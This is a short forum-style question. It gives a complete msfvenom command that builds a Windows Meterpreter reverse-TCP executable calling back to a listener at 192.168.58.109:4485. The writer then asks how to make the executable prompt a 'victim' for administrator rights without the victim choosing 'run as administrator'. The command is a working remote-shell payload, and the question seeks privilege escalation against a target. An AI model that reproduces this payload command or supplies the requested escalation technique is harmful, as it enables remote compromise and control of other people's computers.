So I can create a Windows payload with
msfvenom with a simple command, for example :
msfvenom --platform Windows -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.58.109 LPORT=4485 EXITFUNC=thread -b '\x00' -f exe-only -o mypayload.exe
But when the victim runs the .exe file, it doesn't ask for admin privileges. The victim must right click on the .exe file, and select
run as administrator, then confirm the prompt.
Is there a way to make an exe file open the admin prompt directly, without having to click on "run as administrator"?